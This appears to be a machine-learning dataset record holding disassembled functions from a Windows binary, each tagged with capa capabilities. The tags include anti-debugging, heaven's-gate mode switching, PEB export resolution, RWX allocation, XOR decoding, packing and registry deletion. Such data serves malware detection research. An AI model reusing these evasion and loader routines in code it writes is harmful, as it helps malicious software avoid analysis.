joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431a91
Capabilities:
Encode data using base64
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
push 0xc
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x54], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push 0xc
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x58], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 0
push 0xc
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x6c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push 8
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x70], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 8
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x74], eax
mov edi, eax
mov esi, 0x46a255
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x78], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0x7c], 0
push 0x10
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x80], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 8
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x84], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
push 8
call fcn.00453c73
add esp, 4
mov dword [ebp - 0x90], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
jmp 0x4408b6
jmp loc.01bb68d4

Function at 0x435c0a
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x1b93ce1
or bl, 0x3c
cmp ax, ax
stc
push eax
rol bx, cl
mov ebx, dword [0x1b95156]
cmp sp, bx
test ebx, 0x612baab9
test ebx, ebx
jmp 0x440c66
push ebp
mov ebp, esp
sub esp, 0x48
push 0x48
call fcn.00453c73
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x1b93cea
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x44ade9
je 0x1bbedce
push ebx
jmp loc.01bbedbe
jmp 0x415378
pop eax
mov dword [0x1b95156], eax
jmp loc.00419387
Function at 0x435fe9
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1b95176]
cdq
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 0x33
call 0x436013
add dword [esp], 5
retf
Function at 0x440691
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x440701
cmp ebx, 0x20
je 0x440701
cmp ebx, 0xffffffe0
je 0x440701
jne 0x44070a
add eax, 1
cmp esi, eax
je 0x440717
jne 0x4406e6
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x44071b
jne 0x4406e2
pop edx
mov eax, dword [edx + 0x18]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
cmp ebx, 0
je 0x440760
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x440766
add eax, 4
pop esi
dec esi
push esi
jne 0x440748
xor eax, eax
mov dword [ebp - 8], eax
nop
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [ebp - 8], eax
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
mov esi, dword [esi]
mov esi, dword [esi + 4]
lea ecx, [esi - 1]
test ecx, ecx
jl 0x4407a7
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
lea eax, [eax + ecx*4 + 8]
inc ecx
push dword [eax]
sub eax, 4
dec ecx
jne 0x44079f
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4407bd
lea eax, [esi*4]
add esp, eax
mov eax, dword [ebp - 0xc]
jmp 0x4407c5
mov esp, ebp
pop ebp
ret 0x18
Function at 0x44330b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
push dword [ebp + 8]
call fcn.004433ec
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1000
jle 0x4433dc
mov dword [ebp - 8], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x443373
push 0xab
push 0x40b0c2f
push 6
call fcn.00453c7f
add esp, 0xc
mov dword [0x1b951da], eax
push dword [0x1b951da]
push dword [ebp + 8]
call fcn.0044373a
mov dword [ebp - 8], esp
push 0x1000
push dword [0x1b951da]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_RtlZeroMemory]
nop
nop
cmp dword [ebp - 8], esp
je 0x4433ba
push 0x10b
push 0x40b0c2f
push 6
call fcn.00453c7f
add esp, 0xc
fild dword [0x1b951da]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fadd qword [0x1b93fb6]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
call fcn.00401194
jmp 0x4433e6
mov eax, 0
jmp 0x4433e6
mov esp, ebp
pop ebp
ret 4
Function at 0x4433ec
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov eax, 0x1b93fbe
test eax, eax
je 0x443426
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00453c73
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x443437
push ebx
call fcn.00453c79
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esp
push 0x40
push 0x1000
push 0x1000
push 0
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x44347d
push 0x3f8
push 0x40a2344
push 6
call fcn.00453c7f
add esp, 0xc
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 8]
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4434a3
mov eax, 0x46a255
push eax
push 3
mov ebx, 0x914
call fcn.004564f0
add esp, 0x28
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x9e0
call fcn.004547a0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edx
push 0x80000301
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9e0
call fcn.004547a0
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
push dword [ebp - 0x34]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
push dword [ebp - 0x44]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
push dword [ebp - 0x54]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
push dword [ebp - 0x64]
push 1
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.0044364a
push 0x80000401
push edx
push eax
push 1
mov ebx, 0x9dc
call fcn.004546c0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0x8000
push 0
push dword [ebp - 8]
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x44362a
push 0x4cf
push 0x40a2344
push 6
call fcn.00453c7f
add esp, 0xc
mov eax, dword [ebp - 0xc]
jmp 0x443632
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x443643
push ebx
call fcn.00453c79
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x44364a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
xor eax, eax
xor ecx, ecx
mov edx, dword [ecx + ebp + 0x48]
test edx, edx
je 0x443695
inc eax
lea ecx, [ecx + 0xc]
cmp ecx, 0x84
jbe 0x443681
mov dword [ebp - 8], eax
push 0x33
call 0x44369f
add dword [esp], 5
retf
Function at 0x44373a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov eax, 0x1b94031
test eax, eax
je 0x44377b
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00453c73
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x44378c
push ebx
call fcn.00453c79
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push 0x1000
push 0
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x4437d2
push 0xe84
push 0x40a2345
push 6
call fcn.00453c7f
add esp, 0xc
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 8]
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4437f8
mov eax, 0x46a255
push eax
push 3
mov ebx, 0x914
call fcn.004564f0
add esp, 0x28
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x9e0
call fcn.004547a0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push 0x80000301
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9e0
call fcn.004547a0
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push 0x80000301
push 0
push dword [ebp + 0xc]
push 1
mov ebx, 0x9e0
call fcn.004547a0
add esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
push dword [ebp - 0x48]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x58]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push 1
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0044364a
push 0x80000401
push edx
push eax
push 1
mov ebx, 0x9dc
call fcn.004546c0
add esp, 0x10
cdq
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x443997
push 0xf75
push 0x40a2345
push 6
call fcn.00453c7f
add esp, 0xc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
jmp 0x4439a2
push edx
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4439b4
push ebx
call fcn.00453c79
add esp, 4
pop eax
pop edx
mov esp, ebp
pop ebp
ret 8
Function at 0x448d4d
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push 0xc
call fcn.00453c73
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push 8
call fcn.00453c73
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
jmp loc.01bb79bc

Function at 0x454620
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call fcn.0045d9ce
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x45468a
push esi
lea edi, [eax + 0x400]
call fcn.0045d9c3
push edi
call fcn.0045d9ce
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x45465a
push esi
xor edi, edi
call dword [0x1b95838]
add esp, 4
test eax, eax
je 0x4546a6
push eax
push esi
call fcn.00457eb0
add esp, 8
mov edi, eax
push esi
call fcn.0045d9c3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x454880
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x45489e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x454893
pop esi
ret

Function at 0x455360
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4553f2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x4553e4
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x4553dc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4553a5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
Function at 0x455a50
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x140
push ebx
mov ebx, dword [esp + 0x154]
push ebp
push esi
mov esi, dword [ebx]
push edi
mov edi, dword [esp + 0x154]
xor ebp, ebp
test edi, edi
je 0x455ad0
push edi
call dword [0x1b95838]
add esp, 4
test eax, eax
jbe 0x455ad0
test esi, esi
je 0x455a8e
cmp esi, 0xffffffff
je 0x455a8e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebx], esi
je 0x455b12
mov eax, dword [esp + 0x15c]
test eax, eax
je 0x455abc
mov ecx, dword [esp + 0x10]
and ecx, 0x10
cmp cl, 0x10
je 0x455ad0
jmp 0x455acb
mov edx, dword [esp + 0x158]
mov eax, dword [esp + 0x10]
test edx, eax
je 0x455ad0
mov ebp, 1
test esi, esi
je 0x455b12
cmp esi, 0xffffffff
je 0x455b12
test ebp, ebp
jne 0x455b49
mov eax, dword [esp + 0x15c]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
lea eax, [esp + 0x10]
push eax
push esi
je 0x455b1f
call edi
test eax, eax
je 0x455b12
mov ecx, dword [esp + 0x10]
and ecx, 0x10
cmp cl, 0x10
jne 0x455b49
lea edx, [esp + 0x10]
push edx
push esi
call edi
test eax, eax
jne 0x455afa
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x140
ret
call edi
test eax, eax
je 0x455b12
mov ebx, dword [esp + 0x158]
test dword [esp + 0x10], ebx
jne 0x455b49
lea ecx, [esp + 0x10]
push ecx
push esi
call edi
test eax, eax
jne 0x455b2c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret
lea edx, [esp + 0x3c]
push edx
call dword [0x1b95838]
inc eax
push eax
call fcn.00454080
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret
Function at 0x456170
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x45617d
xor eax, eax
pop esi
ret
push esi
call dword [0x1b95838]
add esp, 4
test eax, eax
jne 0x45618d
pop esi
ret
cmp eax, 1
jne 0x45619b
cmp byte [esi], 0x5c
jne 0x45619b
xor eax, eax
pop esi
ret
push esi
call fcn.00455f20
add esp, 4
test eax, eax
je 0x4561af
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret

Function at 0x456410
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebp
push esi
push edi
push eax
call fcn.00458100
mov edi, dword [esp + 0x28]
mov ebp, eax
push edi
xor esi, esi
call dword [0x1b95838]
add esp, 8
test ebp, ebp
je 0x4564da
test eax, eax
je 0x4564da
inc eax
push ebx
push eax
call fcn.0045d9ce
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0045dc70
mov esi, eax
add esp, 0xc
test esi, esi
je 0x45647c
mov byte [esi], 0
inc esi
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4564b6
mov ecx, dword [esp + 0x10]
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x10]
mov esi, eax
neg esi
sbb esi, esi
push edx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4564c9
mov eax, dword [esp + 0x28]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push ebx
call fcn.0045d9c3
add esp, 4
mov eax, esi
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ecx
ret

Function at 0x457960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, edx
push esi
push edi
mov esi, ebp
xor edi, edi
and esi, 3
mov eax, ecx
jle 0x457981
mov dl, byte [eax]
inc eax
cmp dl, bl
je 0x4579db
inc edi
cmp edi, esi
jl 0x457975
mov edi, ebx
and edi, 0xff
mov esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
lea edi, [ecx + ebp]
cmp eax, edi
jae 0x457a10
mov edx, dword [eax]
xor edx, esi
lea ebp, [edx - 0x1010101]
not edx
and ebp, edx
test ebp, 0x80808080
je 0x4579ca
cmp byte [eax], bl
je 0x4579e5
cmp byte [eax + 1], bl
je 0x4579ee
cmp byte [eax + 2], bl
je 0x4579f8
cmp byte [eax + 3], bl
je 0x457a04
add eax, 4
cmp eax, edi
jb 0x4579a1
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
dec eax
pop ebx
ret 4
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
inc eax
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 2
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 3
pop ebx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
Function at 0x401000
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, section..data
push eax
call sub.msvcrt.dll_puts
add esp, 4
mov eax, str.pause
push eax
call sub.msvcrt.dll_system
add esp, 4
leave
ret

Function at 0x432003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x74595cd0
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x2f097d55
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x417b8c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x417b92
ret
Function at 0x4a4648
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ecx, dword [ebp + 0x1c]
mov eax, dword [ebp + 8]
mov edx, dword [eax]
inc edx
xor eax, eax
mov al, byte [edx]
test eax, eax
jne 0x4a466e
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0x4cd4c3
jmp 0x4a47d2
cmp eax, 0x30
jl 0x4a47d2
cmp eax, 0x7a
jg 0x4a47d2
movsx ebx, word [eax*2 + 0x4cce4c]
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x4a4697
mov eax, dword [ebp - 4]
jmp 0x4a47d2
mov ebx, eax
sub ebx, 0x30
je 0x4a470c
dec ebx
sub ebx, 9
jb 0x4a46bb
sub ebx, 0x29
je 0x4a4795
sub ebx, 0x15
je 0x4a474d
jmp 0x4a47c1
cmp dword [ebp + 0x18], 0
jne 0x4a46fb
mov esi, edx
sub eax, 0x30
jmp 0x4a46d7
inc edx
add eax, eax
xor ebx, ebx
mov bl, byte [edx]
lea eax, [eax + eax*4]
add eax, ebx
add eax, 0xffffffd0
xor ebx, ebx
mov bl, byte [edx + 1]
mov edi, dword [ecx + 0xc]
test byte [edi + ebx], 4
jne 0x4a46c8
cmp eax, 0xa
jl 0x4a46ef
cmp eax, dword [ebp + 0x10]
jg 0x4a46f9
add eax, 0xc
neg eax
jmp 0x4a47d2
mov edx, esi
xor eax, eax
mov al, byte [edx]
cmp eax, 0x38
jl 0x4a470c
dec edx
xor eax, eax
jmp 0x4a47d2
sub eax, 0x30
jmp 0x4a471e
inc edx
shl eax, 3
xor ebx, ebx
mov bl, byte [edx]
add eax, ebx
add eax, 0xffffffd0
mov ebx, dword [ebp - 4]
inc dword [ebp - 4]
cmp ebx, 2
jge 0x4a4743
xor ebx, ebx
mov bl, byte [edx + 1]
mov esi, dword [ecx + 0xc]
test byte [esi + ebx], 4
je 0x4a4743
cmp byte [edx + 1], 0x38
je 0x4a4743
cmp byte [edx + 1], 0x39
jne 0x4a4711
and eax, 0xff
jmp 0x4a47d2
xor eax, eax
jmp 0x4a477a
inc edx
mov esi, 0x30
xor ebx, ebx
mov bl, byte [edx]
mov edi, dword [ecx + 0xc]
test byte [edi + ebx], 4
jne 0x4a4767
add esi, 0x27
xor ebx, ebx
mov edi, dword [ecx]
mov bl, byte [edx]
shl eax, 4
movzx ebx, byte [edi + ebx]
add ebx, eax
sub ebx, esi
mov eax, ebx
mov ebx, dword [ebp - 4]
inc dword [ebp - 4]
cmp ebx, 2
jge 0x4a47d2
xor ebx, ebx
mov bl, byte [edx + 1]
mov esi, dword [ecx + 0xc]
test byte [esi + ebx], 8
jne 0x4a4751
jmp 0x4a47d2
inc edx
xor eax, eax
mov al, byte [edx]
test eax, eax
jne 0x4a47ab
mov edx, dword [ebp + 0xc]
xor eax, eax
mov dword [edx], 0x4cd4d7
jmp 0x4a47d7
cmp eax, 0x61
jl 0x4a47bc
cmp eax, 0x7a
jg 0x4a47bc
